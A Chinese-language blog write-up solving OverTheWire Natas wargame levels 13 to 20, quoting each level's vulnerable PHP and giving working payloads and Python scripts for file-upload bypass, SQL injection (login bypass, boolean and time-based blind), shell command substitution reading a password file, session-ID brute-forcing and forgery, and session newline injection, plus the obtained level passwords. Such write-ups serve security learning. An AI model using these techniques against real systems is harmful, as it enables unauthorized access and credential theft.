OverTheWire的natas游戏(13-20)

natas solution(13-20)

Natas Level 12 → Level 13

Username: natas13
URL:      http://natas13.natas.labs.overthewire.org

这一关和上一关非常相似,不同的在于

<?php
if(array_key_exists("filename", $_POST)) {
    $target_path = makeRandomPathFromFilename("upload", $_POST["filename"]);
    
    $err=$_FILES['uploadedfile']['error'];
    if($err){
        if($err === 2){
            echo "The uploaded file exceeds MAX_FILE_SIZE";
        } else{
            echo "Something went wrong :/";
        }
    } else if(filesize($_FILES['uploadedfile']['tmp_name']) > 1000) {
        echo "File is too big";
    } else if (! exif_imagetype($_FILES['uploadedfile']['tmp_name'])) {
        echo "File is not an image";
    } else {
        if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) {
            echo "The file <a href=\"$target_path\">$target_path</a> has been uploaded";
        } else{
            echo "There was an error uploading the file, please try again!";
        }
    }
} else {
?> 

多了一个检查函数exif_imagetype

读取一个图像的第一个字节并检查其签名。

所以在上一关payload的基础上,在开头添加jpg的签名即可,然后上传获得密码

Lg96M10TdfaPyVBkJdjymbllQ5L6qdl1 

Natas Level 13 → Level 14

Username: natas14
URL:      http://natas14.natas.labs.overthewire.org

这一关是一个简单的sql注入

<?
if(array_key_exists("username", $_REQUEST)) {
    $link = mysql_connect('localhost', 'natas14', '<censored>');
    mysql_select_db('natas14', $link);
    
    $query = "SELECT * from users where username=\"".$_REQUEST["username"]."\" and password=\"".$_REQUEST["password"]."\"";
    if(array_key_exists("debug", $_GET)) {
        echo "Executing query: $query<br>";
    }

    if(mysql_num_rows(mysql_query($query, $link)) > 0) {
            echo "Successful login! The password for natas15 is <censored><br>";
    } else {
            echo "Access denied!<br>";
    }
    mysql_close($link);
} else {
?>

根据源码的sql我们构造如下payload

UsernamePassword
1" or 1=1#1

这里需要注意的是--+不起效果,所以注释用的#

密码到手

Successful login! The password for natas15 is AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J

Natas Level 14 → Level 15

Username: natas15
URL:      http://natas15.natas.labs.overthewire.org

这一关非常的耗时间,尽管是看wp不过得到了一些启发就是好的

进入界面后发现只是要你输入用户名,输入natas16告诉我们该用户存在,通过源码可以发现好像是没有手段能得出密码,像上一关那样

<?
/*
CREATE TABLE `users` (
  `username` varchar(64) DEFAULT NULL,
  `password` varchar(64) DEFAULT NULL
);
*/

if(array_key_exists("username", $_REQUEST)) {
    $link = mysql_connect('localhost', 'natas15', '<censored>');
    mysql_select_db('natas15', $link);
    
    $query = "SELECT * from users where username=\"".$_REQUEST["username"]."\"";
    if(array_key_exists("debug", $_GET)) {
        echo "Executing query: $query<br>";
    }

    $res = mysql_query($query, $link);
    if($res) {
    if(mysql_num_rows($res) > 0) {
        echo "This user exists.<br>";
    } else {
        echo "This user doesn't exist.<br>";
    }
    } else {
        echo "Error in query.<br>";
    }

    mysql_close($link);
} else {}
?> 

没有能得到密码的回显,所以我的思路转移到了密码枚举因为输入000" or 1=1#得到的回显是This user exists.这里参考了别人的wp但是根据自身的情况修改了,但是怎么说呢,总是有点奇奇怪怪的问题,不太敢保证在真实情况下能保持自信“我是对的”

在脚本之前,我们需要学习一个mysqlLIKE关键字(没有什么是比官方文档更好的了😀)

import requests
import time

url='http://natas15.natas.labs.overthewire.org/'
passchar='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXVZ1234567890'
bstr='This user exist'.encode('utf-8')
password=''
headers = {
    'Authorization': 'xxxxx',
    'Cookie': 'xxxxxxx',
}

print('go')
for i in range(32):
    print(i)
    for j in passchar:
        time.sleep(1)
        try:
            poc = url+'?username=natas16%22+AND+password+LIKE+BINARY+%27' + password + j + "%25%27%23"
            print(poc)
            req = requests.get(poc,headers=headers)
            req.encoding = req.apparent_encoding
        except:
            print("获取失败")
            req.close()
        if req.content.find(bstr) != -1:
            password += j
            print('Password: ' + password)
            break
req.close()

之所以设置了time.sleep(1)是因为一开始经常跑着跑着就停下来了,猜测是因为请求速度过快?但是后来即使不间隔1s也能跑,我反正是不懂为啥了。

跑完后的密码是

WaIHEacj63wnNIBROHeqi3p9t0m5nhmh

Natas Level 15 → Level 16

Username: natas16
URL:      http://natas16.natas.labs.overthewire.org

这一关和上一关做法非常的相似,但是题目却和之前的第10关很像,来看看源码吧。

Output:
<pre>
<?
$key = "";

if(array_key_exists("needle", $_REQUEST)) {
    $key = $_REQUEST["needle"];
}

if($key != "") {
    if(preg_match('/[;|&`\'"]/',$key)) {
        print "Input contains an illegal character!";
    } else {
        passthru("grep -i \"$key\" dictionary.txt");
    }
}
?>
</pre>

先看看这个正则,过滤掉了 ==; | & ` \ ’ "==而且在执行passthru时,我们输入还被双引号包含了,一开始我的思路是如何闭合掉这个双引号?经过短暂的思考显然是不能的,双引号已经被过滤掉了,所以没法用自己的双引号去闭合。而且被双引号包含后里面所有的字符都会被解释成字符串,感觉无计可施。

但是这里是Unix系统还有机会,那就是Command substitution

通过命令替换,我们可以实现在双引号中执行命令,非常巧妙的思路😋

我们试一下输入**$(grep a /etc/natas_webpass/natas17)**会发生什么?所有的单词被查了出来

那我们再试着输入**$(grep A /etc/natas_webpass/natas17)**同样缺没有发生,什么也没有输出

这是为什么呢?我在Ubuntu上用一个实验说明,首先准备一个1.txt

This is test1!

接下来是实验的脚本

#!/bin/sh
#在1.txt查找1
echo "grep 1 in 1.txt"
echo "$(grep 1 /home/highway/Desktop/1.txt)"
#在1.txt查找2
echo "grep 2 in 1.txt"
res2="$(grep 2 /home/highway/Desktop/1.txt)"
echo "$res2"
# res2是否是空字符串?
echo "if not found the result were equal the null string?"
if [ "$res2" = "" ];then
    echo "yes,it equal"
  else
    echo "no,it not"
fi
echo "what's going happen?grep -i \"\" 1.txt"
echo "$(grep -i "" 1.txt)"

我们运行一下看看结果就明白了

highway@ubuntu:~/Desktop$ ./natas16.sh
grep 1 in 1.txt
This is test1!
grep 2 in 1.txt

if not found the result were equal the null string?
yes,it equal
what's going happen?grep -i "" 1.txt
This is test1!

为什么我们输入 $(grep a /etc/natas_webpass/natas17) 的结果是把所有单词输出呢?

对应的就是最后的

grep -i "" 1.txt
#Output: This is test1!

然后根据结果res2是空字符串,那是不是等于这个呢?

grep -i "$res2" 1.txt
grep -i "$(grep 2 /home/highway/Desktop/1.txt)" 1.txt

换句话来说 $(grep a /etc/natas_webpass/natas17) 得到的结果是一个空字符串,也就证明在 /etc/natas_webpass/natas17 中不存在字母a

$(grep A /etc/natas_webpass/natas17) 什么也没有输出,是因为在

/etc/natas_webpass/natas17存在字母A

我将继续用一个实验说明,额外准备一个2.txt

This is test2!

仔细琢磨

#!/bin/sh
echo "$(grep -i '$(grep 2 /home/highway/Desktop/2.txt)'   1.txt)"
echo "$(grep -i '$(grep 1 /home/highway/Desktop/2.txt)'   1.txt)"

#Output
#
#This is test1!

第一行输出为空就是因为在2.txt中有字符2而第二行把1.txt全部输出恰恰是因为在2.txt中没有字符1应该非常明了了吧?

那么接下来就是编写脚本枚举了,首先我们需要先把 /etc/natas_webpass/natas17 中存在的字符枚举出来,然后根据枚举出来的字典枚举密码。

import requests

def find_exist(url,exist):
    for i in dictionary:
        try:
            r = requests.get(url + "?needle=$(grep " + i + " /etc/natas_webpass/natas17)Fridays")
        except:
            print("error")
            r.close()
        if r.content.find(boolString) != -1:
            exist += i
            print("exist:" + str(len(exist)) + "-->" + exist)

def find_pwd(url,exist,password):
    for i in range(32):
        for j in exist:
            try:
                r = requests.get(url + "?needle=$(grep ^" + password + j + " /etc/natas_webpass/natas17)Fridays")
            except:
                print("error")
                r.close()
            if r.content.find(boolString) != -1:
                password += j
                print("password: " + password + "*" * int(32-len(password)))

if __name__ == "__main__":
    url = "http://natas16:WaIHEacj63wnNIBROHeqi3p9t0m5nhmh" \
          "@" \
          "natas16.natas.labs.overthewire.org/"

    dictionary = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXVZ1234567890"
    exist = ""
    password = ""
    boolString = "Output:\n<pre>\n</pre>\n\n".encode('utf-8')

    find_exist(url,exist)
    find_pwd(url,exist,password)

密码到手

8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9cw

在枚举密码时用到了一个grep的正则符号^

Example 1. Beginning of line ( ^ )

In grep command, caret Symbol ^ matches the expression at the start of a line. In the following example, it displays all the line which starts with the Nov 10. i.e All the messages logged on November 10.

$ grep "^Nov 10" messages.1
Nov 10 01:12:55 gs123 ntpd[2241]: time reset +0.177479 s
Nov 10 01:17:17 gs123 ntpd[2241]: synchronized to LOCAL(0), stratum 10
Nov 10 01:18:49 gs123 ntpd[2241]: synchronized to 15.1.13.13, stratum 3
Nov 10 13:21:26 gs123 ntpd[2241]: time reset +0.146664 s
Nov 10 13:25:46 gs123 ntpd[2241]: synchronized to LOCAL(0), stratum 10
Nov 10 13:26:27 gs123 ntpd[2241]: synchronized to 15.1.13.13, stratum 3

The ^ matches the expression in the beginning of a line, only if it is the first character in a regular expression. ^N matches line beginning with N.

Natas Level 16 → Level 17

Username: natas17
URL:      http://natas17.natas.labs.overthewire.org

这一关和上一关又非常类似,但是题目是第14关的变形来看看源码吧

<?

/*
CREATE TABLE `users` (
  `username` varchar(64) DEFAULT NULL,
  `password` varchar(64) DEFAULT NULL
);
*/

if(array_key_exists("username", $_REQUEST)) {
    $link = mysql_connect('localhost', 'natas17', '<censored>');
    mysql_select_db('natas17', $link);
    
    $query = "SELECT * from users where username=\"".$_REQUEST["username"]."\"";
    if(array_key_exists("debug", $_GET)) {
        echo "Executing query: $query<br>";
    }

    $res = mysql_query($query, $link);
    if($res) {
    if(mysql_num_rows($res) > 0) {
        //echo "This user exists.<br>";
    } else {
        //echo "This user doesn't exist.<br>";
    }
    } else {
        //echo "Error in query.<br>";
    }

    mysql_close($link);
}
?>

区别在于3个回显都被注释掉了,第一反应就是Time-Based Blind SQL Inject那么思路就很清晰了,但是在跑脚本的时候耗费了不少的时间,因为一开始的sleep(5)不管是在web还是在burp中都非常快速,但是在python脚本中却不是这样的,导致我以为代码出现了问题找了很久。只能说经验很少。

经验收获

上面也提到了5s的时间盲注不论在web应用还是burp都没有任何问题,但是用python脚本从发送到收到回应却可能超过短短的5s导致跑出错误的密码。我调过10s甚至是20s都有可能跑出错误的代码,最后调到30s才跑出来,所以根据实际情况自动化脚本时间盲注可能需要睡更长的时间。

尽管大多数的回应都在5s以内,但是只要出现一个错误的response超过时间就会导致前功尽弃。

import requests

def find_exist(url,dictionary,exist):
    for i in dictionary:
        inject="natas18\" AND IF(password LIKE BINARY '%" + i + "%',sleep(30),null)#"
        try:
            r = requests.post(url,headers=headers,data={"username":inject})
            if r.elapsed.seconds >= 30:
                exist += i
                print('Using: ' + exist)
        except:
            r.close()

def find_pwd(url,exist,password):
    for i in range(32):
        for j in exist:
            inject = "natas18\" AND IF(password LIKE BINARY '" + password + j + "%',sleep(30),null)#"
            try:
                r = requests.post(url, headers=headers, data={"username": inject})
                print(r.elapsed)
                if r.elapsed.seconds >= 30:
                    password += j
                    print('Password: ' + password + '*' * int(32 - len(password)))
                    break
            except:
                r.close()


if __name__ == '__main__':
    dictionary = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'
    exist = ''
    password = ''
    url = 'http://natas17.natas.labs.overthewire.org/'
    headers = {
        "Authorization": "xxxxxxxxxxxxxxxxxxxx",
        "Cookie": "xxxxxxxxxxxxxxxxxxxx"
    }

    print('All characters used. Starting brute force... Grab a coffee, might take a while!')
    find_pwd(url,exist,password)
    print('Completed!')

跑完后的代码如下

xvKIqDjy4OPv7wCRgDlmj0pFsCsDjhdP

Natas Level 17 → Level 18

Username: natas18
URL:      http://natas18.natas.labs.overthewire.org

最近的关卡好像都要写脚本跑呢😥

这一关先看看源码说的是啥

<?

$maxid = 640; // 640 should be enough for everyone

function isValidAdminLogin() { /* {{{ */
    if($_REQUEST["username"] == "admin") {
    /* This method of authentication appears to be unsafe and has been disabled for now. */
        //return 1;
    }

    return 0;
}
/* }}} */
function isValidID($id) { /* {{{ */
    return is_numeric($id);
}
/* }}} */
function createID($user) { /* {{{ */
    global $maxid;
    return rand(1, $maxid);
}
/* }}} */
function debug($msg) { /* {{{ */
    if(array_key_exists("debug", $_GET)) {
        print "DEBUG: $msg<br>";
    }
}
/* }}} */
function my_session_start() { /* {{{ */
    if(array_key_exists("PHPSESSID", $_COOKIE) and isValidID($_COOKIE["PHPSESSID"])) {
    if(!session_start()) {
        debug("Session start failed");
        return false;
    } else {
        debug("Session start ok");
        if(!array_key_exists("admin", $_SESSION)) {
        debug("Session was old: admin flag set");
        $_SESSION["admin"] = 0; // backwards compatible, secure
        }
        return true;
    }
    }

    return false;
}
/* }}} */
function print_credentials() { /* {{{ */
    if($_SESSION and array_key_exists("admin", $_SESSION) and $_SESSION["admin"] == 1) {
    print "You are an admin. The credentials for the next level are:<br>";
    print "<pre>Username: natas19\n";
    print "Password: <censored></pre>";
    } else {
    print "You are logged in as a regular user. Login as an admin to retrieve credentials for natas19.";
    }
}
/* }}} */

$showform = true;
if(my_session_start()) {
    print_credentials();
    $showform = false;
} else {
    if(array_key_exists("username", $_REQUEST) && array_key_exists("password", $_REQUEST)) {
    session_id(createID($_REQUEST["username"]));
    session_start();
    $_SESSION["admin"] = isValidAdminLogin();
    debug("New session started");
    $showform = false;
    print_credentials();
    }
} 

if($showform) {
?>

<p>
Please login with your admin account to retrieve credentials for natas19.
</p>

<form action="index.php" method="POST">
Username: <input name="username"><br>
Password: <input name="password"><br>
<input type="submit" value="Login" />
</form>
<? } ?> 

一开始我没有分明白cookiesession的区别虽然之前看了很多。

简单来说cookie是我们能控制的,比如添加删除修改属性;而session则不能,因为session是由服务器管理的。

这篇wp写的非常好,我就直接放上来好了NATAS LEVEL 18 → LEVEL 19可能现在的natas少了一关吧,所以这些老的wp关卡数都要往后推一关。

看完后,其实我们就知道了关键是这里

function my_session_start() { 
    if(array_key_exists("PHPSESSID", $_COOKIE) and isValidID($_COOKIE["PHPSESSID"])) {
    if(!session_start()) {
        debug("Session start failed");
        return false;
    } else {
        debug("Session start ok");
        if(!array_key_exists("admin", $_SESSION)) {
        debug("Session was old: admin flag set");
        $_SESSION["admin"] = 0; // backwards compatible, secure
        }
        return true;
    }
    }
    return false;
}

首先检查是否有PHPSESSID

  • PHPSESSID的话就检查session是否开启,如果没有开启就退出,如果开启就检查 $_SESSION 是否有admin
    • admin就返回true
    • 没有admin就添加admin属性并置为0
  • 没有就直接退出

我们再看看这里

$showform = true;
if(my_session_start()) {
    print_credentials();
    $showform = false;
} else {
    if(array_key_exists("username", $_REQUEST) && array_key_exists("password", $_REQUEST)) {
    session_id(createID($_REQUEST["username"]));
    session_start();
    $_SESSION["admin"] = isValidAdminLogin();
    debug("New session started");
    $showform = false;
    print_credentials();
    }
} 

这里有一点点绕,我在这里就迷失了。说白了就是我们的session需要有admin属性。那么问题来了,什么样的session才有呢?根据

session_id(createID($_REQUEST["username"]));

function createID($user) { /* {{{ */
    global $maxid;
    return rand(1, $maxid);
}

猜测可以看到这个createID根本就没用到user嘛,只是随机的选取一个数字作为session_id这个东西可能跟 $_COOKIE["PHPSESSID"] 有关。编写python脚本

import requests
import re

maxid = 641
url = "http://natas18.natas.labs.overthewire.org"
user = "natas18"
passwd = "xvKIqDjy4OPv7wCRgDlmj0pFsCsDjhdP"
match = "You are an admin. The credentials for the next level are:"

for i in range(maxid):
    cookie = dict(PHPSESSID=str(i))
    r = requests.get(url, auth=(user, passwd), cookies=cookie)
    if match in str(r.content):
        print(re.findall(r'password.*?<.*?>', r.text, flags=re.IGNORECASE))
        break

跑完后匹配的结果为

['Password: 4IwIrekcuZlA9OsjOkoUtwU6lhokCPYs</pre>']

re库

这里新学习了re如何设置忽略大小写匹配,当然还有其他的flag可以设置

Natas Level 18 → Level 19

Username: natas19
URL:      http://natas19.natas.labs.overthewire.org

这一关只能说非常奇思妙想,尤其是我的抓包的cookie还很怪,要response才能看到PHPSESSION

进去看到提示说代码跟上一关完全一样,但是这回的PHPSESSION不是连续的了。事实上确实不是,但是又不完全对。然而这句话让我直接以为变成随机发session_id了。

我直接说了,反正我没想出来。通过实验发现PHPSESSION存在一定的规律

usernamepasswordPHPSESSID
123372d313233
1243434382d313234
12532322d313235
1253239352d313235

可以看到一个有意思的现象,每个PHPSESSION都有2d而且发现这几个连号只在最后一位不同,而且同号2d后的数字完全一样。有意思。

接下来自然是解密环节,那么这一串像啥呢?比较像hex格式用burp的解码模块选择ASCII TEXT看看

3239352d313235

295-125

可以猜测是由PHPSEEION-username的形式通过转换成hex作为session_id的,所以编写脚本

import requests
import re

maxid = 641
url = "http://natas19.natas.labs.overthewire.org"
user = "natas19"
passwd = "4IwIrekcuZlA9OsjOkoUtwU6lhokCPYs"
match = "You are an admin. The credentials for the next level are:"

for i in range(maxid):
    cookie = dict(PHPSESSID=(str(i)+'-admin').encode('utf-8').hex())
    r = requests.get(url, auth=(user, passwd), cookies=cookie)
    if match in str(r.content):
        print("PHPSESSION: " + str(i))
        print(re.findall(r'password.*?<.*?>', r.text, flags=re.IGNORECASE))
        break

耐心等待,密码到手

PHPSESSION: 281
['Password: eofm3Wsshxc5bwtVnEuGIlr7ivb9KABF</pre>']

Natas Level 19 → Level 20

Username: natas20
URL:      http://natas20.natas.labs.overthewire.org

这一关非常的奇怪,我就成功复现了一次,之后就一直失败。

总之先看源码

<?
function debug($msg) { 
    if(array_key_exists("debug", $_GET)) {
        print "DEBUG: $msg<br>";
    }
}
function print_credentials() {
    if($_SESSION and array_key_exists("admin", $_SESSION) and $_SESSION["admin"] == 1) {
    print "You are an admin. The credentials for the next level are:<br>";
    print "<pre>Username: natas21\n";
    print "Password: <censored></pre>";
    } else {
    print "You are logged in as a regular user. Login as an admin to retrieve credentials for natas21.";
    }
}

/* we don't need this */
function myopen($path, $name) { 
    //debug("MYOPEN $path $name"); 
    return true; 
}

/* we don't need this */
function myclose() { 
    //debug("MYCLOSE"); 
    return true; 
}

function myread($sid) { 
    debug("MYREAD $sid"); 
    if(strspn($sid, "1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM-") != strlen($sid)) {
    debug("Invalid SID"); 
        return "";
    }
    $filename = session_save_path() . "/" . "mysess_" . $sid;
    if(!file_exists($filename)) {
        debug("Session file doesn't exist");
        return "";
    }
    debug("Reading from ". $filename);
    $data = file_get_contents($filename);
    $_SESSION = array();
    foreach(explode("\n", $data) as $line) {
        debug("Read [$line]");
    $parts = explode(" ", $line, 2);
    if($parts[0] != "") $_SESSION[$parts[0]] = $parts[1];
    }
    return session_encode();
}

function mywrite($sid, $data) { 
    // $data contains the serialized version of $_SESSION
    // but our encoding is better
    debug("MYWRITE $sid $data"); 
    // make sure the sid is alnum only!!
    if(strspn($sid, "1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM-") != strlen($sid)) {
    debug("Invalid SID"); 
        return;
    }
    $filename = session_save_path() . "/" . "mysess_" . $sid;
    $data = "";
    debug("Saving in ". $filename);
    ksort($_SESSION);
    foreach($_SESSION as $key => $value) {
        debug("$key => $value");
        $data .= "$key $value\n";
    }
    file_put_contents($filename, $data);
    chmod($filename, 0600);
}

/* we don't need this */
function mydestroy($sid) {
    //debug("MYDESTROY $sid"); 
    return true; 
}
/* we don't need this */
function mygarbage($t) { 
    //debug("MYGARBAGE $t"); 
    return true; 
}

session_set_save_handler(
    "myopen", 
    "myclose", 
    "myread", 
    "mywrite", 
    "mydestroy", 
    "mygarbage");
session_start();

if(array_key_exists("name", $_REQUEST)) {
    $_SESSION["name"] = $_REQUEST["name"];
    debug("Name set to " . $_REQUEST["name"]);
}

print_credentials();

$name = "";
if(array_key_exists("name", $_SESSION)) {
    $name = $_SESSION["name"];
}
?> 

这里先了解一下session_set_save_handler了解完后很明显我们需要关注的是

function myread($sid) { 
    debug("MYREAD $sid"); 
    if(strspn($sid, "1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM-") != strlen($sid)) {
    debug("Invalid SID"); 
        return "";
    }
    $filename = session_save_path() . "/" . "mysess_" . $sid;
    if(!file_exists($filename)) {
        debug("Session file doesn't exist");
        return "";
    }
    debug("Reading from ". $filename);
    $data = file_get_contents($filename);
    $_SESSION = array();
    foreach(explode("\n", $data) as $line) {
        debug("Read [$line]");
    $parts = explode(" ", $line, 2);
    if($parts[0] != "") $_SESSION[$parts[0]] = $parts[1];
    }
    return session_encode();
}

function mywrite($sid, $data) { 
    // $data contains the serialized version of $_SESSION
    // but our encoding is better
    debug("MYWRITE $sid $data"); 
    // make sure the sid is alnum only!!
    if(strspn($sid, "1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM-") != strlen($sid)) {
    debug("Invalid SID"); 
        return;
    }
    $filename = session_save_path() . "/" . "mysess_" . $sid;
    $data = "";
    debug("Saving in ". $filename);
    ksort($_SESSION);
    foreach($_SESSION as $key => $value) {
        debug("$key => $value");
        $data .= "$key $value\n";
    }
    file_put_contents($filename, $data);
    chmod($filename, 0600);
}

最开始的if只是判断sid是否合法strspn

主要关注这里

foreach($_SESSION as $key => $value) {
    debug("$key => $value");
    $data .= "$key $value\n";
}
file_put_contents($filename, $data);
chmod($filename, 0600);

可以看到数据会以键值对并以\n结尾写入文件中类似于这样

key1 value1\n
key2 value2\n

然后我们再看看myread

$data = file_get_contents($filename);
$_SESSION = array();
foreach(explode("\n", $data) as $line) {
    debug("Read [$line]");
    $parts = explode(" ", $line, 2);
    if($parts[0] != "") $_SESSION[$parts[0]] = $parts[1];
}

从文件里读取键值对\n进行分割explode$_SESSION 赋值

然后看看怎么样得到密码

function print_credentials() {
    if($_SESSION and array_key_exists("admin", $_SESSION) and $_SESSION["admin"] == 1) {
    print "You are an admin. The credentials for the next level are:<br>";
    print "<pre>Username: natas21\n";
    print "Password: <censored></pre>";
    } else {
    print "You are logged in as a regular user. Login as an admin to retrieve credentials for natas21.";
    }
}

也就是说$_SESSION["admin"] == 1就可以了,这涉及到注入。我们输入

admin\ndamin 1

通过POST被接收然后写入文件是这样的

key1 value1\n
key2 value2\n
name admin\ndamin 1\n

myread读取,因为是以\n来分割,所以会被分割出一对admin:1出来,注入完成。

但是我不怎么能够复现,只成功了一次。可能不一定百分百注入成功吧。

Username: natas21
Password: IFekPyrQXftziDEsUr3x21sYuahypdgJ
  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值